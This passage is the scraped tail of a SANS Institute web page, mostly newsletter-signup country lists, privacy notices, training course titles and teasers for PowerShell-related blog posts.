Lithuania
Luxembourg
Macau
Macedonia
Madagascar
Malawi
Malaysia
Maldives
Mali
Malta
Marshall Islands
Martinique
Mauritania
Mauritius
Mayotte
Mexico
Micronesia, Federated States Of
Moldova, Republic Of
Monaco
Mongolia
Montenegro
Montserrat
Morocco
Mozambique
Myanmar
Namibia
Nauru
Nepal
Netherlands Antilles
New Caledonia
New Zealand
Nicaragua
Niger
Nigeria
Niue
Norfolk Island
Northern Mariana Islands
Oman
Pakistan
Palau
Palestine
Panama
Papua New Guinea
Paraguay
Peru
Philippines
Pitcairn
Poland
Portugal
Puerto Rico
Qatar
Reunion
Romania
Russian Federation
Rwanda
Saint Bartholemy
Saint Kitts And Nevis
Saint Lucia
Saint Martin
Saint Vincent And The Grenadines
Samoa
San Marino
Sao Tome And Principe
Saudi Arabia
Senegal
Serbia
Seychelles
Sierra Leone
Sint Maarten
Slovakia
Slovenia
Solomon Islands
South Africa
South Georgia and the South Sandwich Islands
South Sudan
Sri Lanka
St. Helena
St. Pierre And Miquelon
Suriname
Svalbard And Jan Mayen Islands
Swaziland
Sweden
Switzerland
Taiwan
Tajikistan
Tanzania
Thailand
Togo
Tokelau
Tonga
Trinidad And Tobago
Tunisia
Turkey
Turkmenistan
Turks And Caicos Islands
Tuvalu
Uganda
Ukraine
United Arab Emirates
United States Minor Outlying Islands
Uruguay
Uzbekistan
Vanuatu
Vatican City
Venezuela
Vietnam
Virgin Islands (British)
Virgin Islands (U.S.)
Wallis And Futuna Islands
Western Sahara
Yemen
Yugoslavia
Zambia
Zimbabwe

By providing this information, you agree to the processing of your personal data by SANS as described in our Privacy Policy.

This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply.

Recommended Training

  • SEC555: SIEM with Tactical Analytics
  • SEC560: Enterprise Penetration Testing
  • SEC505: Securing Windows and PowerShell Automation

Tags:
  • Cyber Defense

Related Content

Blog
CD_Blog_HowtoautomateinAzure_Part1_2.jpg
Cyber Defense, Cloud Security
October 11, 2022
How to Automate in Azure Using PowerShell - Part 1
In this post, we’ll cover how to automate the assessment and reporting of your cloud security configuration opportunities.
370x370_josh-johnson.jpg
Josh Johnson
read more
Blog
powershell_option_340x340.jpg
Cybersecurity and IT Essentials, Cyber Defense, Penetration Testing and Red Teaming
August 4, 2022
Month of PowerShell - Discoveries from the Month of PowerShell
A final wrap-up from the Month of PowerShell: discoveries, recommendations, complaints, and successes.
370x370_Joshua-Wright.jpg
Joshua Wright
read more
Blog
powershell_option_340x340.jpg
Cybersecurity and IT Essentials, Cyber Defense, Penetration Testing and Red Teaming
July 31, 2022
Month of PowerShell - Keyboard Shortcuts Like a Boss
Let's look at several keyboard shortcuts to speed up your PowerShell sessions.
370x370_Joshua-Wright.jpg
Joshua Wright
read more
  • Register to Learn
  • Courses
  • Certifications
  • Degree Programs
  • Cyber Ranges
  • Job Tools
  • Security Policy Project
  • Posters & Cheat Sheets
  • White Papers
  • Focus Areas
  • Cyber Defense
  • Cloud Security
  • Cybersecurity Leadership
  • Digital Forensics
  • Industrial Control Systems
  • Offensive Operations
Subscribe to SANS Newsletters
Receive curated news, vulnerabilities, & security awareness tips
United States
Canada
United Kingdom
Spain
Belgium
Denmark
Norway
Netherlands
Australia
India
Japan
Singapore
Afghanistan
Aland Islands
Albania
Algeria
American Samoa
Andorra
Angola
Anguilla
Antarctica
Antigua and Barbuda
Argentina
Armenia
Aruba
Austria
Azerbaijan
Bahamas
Bahrain
Bangladesh
Barbados
Belarus
Belize
Benin
Bermuda
Bhutan
Bolivia
Bonaire, Sint Eustatius, and Saba
Bosnia And Herzegovina
Botswana
Bouvet Island
Brazil
British Indian Ocean Territory
Brunei Darussalam
Bulgaria
Burkina Faso
Burundi
Cambodia
Cameroon
Cape Verde
Cayman Islands
Central African Republic
Chad
Chile
China
Christmas Island
Cocos (Keeling) Islands
Colombia
Comoros
Cook Islands
Costa Rica
Croatia (Local Name: Hrvatska)
Curacao
Cyprus
Czech Republic
Democratic Republic of the Congo
Djibouti
Dominica
Dominican Republic
East Timor
East Timor
Ecuador
Egypt
El Salvador
Equatorial Guinea
Eritrea
Estonia
Ethiopia
Falkland Islands (Malvinas)
Faroe Islands
Fiji
Finland
France
French Guiana
French Polynesia
French Southern Territories
Gabon
Gambia
Georgia
Germany
Ghana
Gibraltar
Greece
Greenland
Grenada
Guadeloupe
Guam
Guatemala
Guernsey
Guinea
Guinea-Bissau
Guyana
Haiti
Heard And McDonald Islands
Honduras
Hong Kong
Hungary
Iceland
Indonesia
Iraq
Ireland
Isle of Man
Israel
Italy
Jamaica
Jersey
Jordan
Kazakhstan
Kenya
Kiribati
Korea, Republic Of
Kosovo
Kuwait
Kyrgyzstan
Lao People's Democratic Republic
Latvia
Lebanon
Lesotho
Liberia
Liechtenstein
Lithuania
Luxembourg
Macau
Macedonia
Madagascar
Malawi
Malaysia
Maldives
Mali
Malta
Marshall Islands
Martinique
Mauritania
Mauritius
Mayotte
Mexico
Micronesia, Federated States Of
Moldova, Republic Of
Monaco
Mongolia
Montenegro
Montserrat
Morocco
Mozambique
Myanmar
Namibia
Nauru
Nepal
Netherlands Antilles
New Caledonia
New Zealand
Nicaragua
Niger
Nigeria
Niue
Norfolk Island
Northern Mariana Islands
Oman
Pakistan
Palau
Palestine
Panama
Papua New Guinea
Paraguay
Peru
Philippines
Pitcairn
Poland
Portugal
Puerto Rico
Qatar
Reunion
Romania
Russian Federation
Rwanda
Saint Bartholemy
Saint Kitts And Nevis
Saint Lucia
Saint Martin
Saint Vincent And The Grenadines
Samoa
San Marino
Sao Tome And Principe
Saudi Arabia
Senegal
Serbia
Seychelles
Sierra Leone
Sint Maarten
Slovakia
Slovenia
Solomon Islands
South Africa
South Georgia and the South Sandwich Islands
South Sudan
Sri Lanka
St. Helena
St. Pierre And Miquelon
Suriname
Svalbard And Jan Mayen Islands
Swaziland
Sweden
Switzerland
Taiwan
Tajikistan
Tanzania
Thailand
Togo
Tokelau
Tonga
Trinidad And Tobago
Tunisia
Turkey
Turkmenistan
Turks And Caicos Islands
Tuvalu
Uganda
Ukraine
United Arab Emirates
United States Minor Outlying Islands
Uruguay
Uzbekistan
Vanuatu
Vatican City
Venezuela
Vietnam
Virgin Islands (British)
Virgin Islands (U.S.)
Wallis And Futuna Islands
Western Sahara
Yemen
Yugoslavia
Zambia
Zimbabwe

By providing this information, you agree to the processing of your personal data by SANS as described in our Privacy Policy.

This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply.
  • © 2023 SANS™ Institute
  • Privacy Policy
  • Contact
  • Careers
  • Twitter
  • Facebook
  • Youtube
  • LinkedIn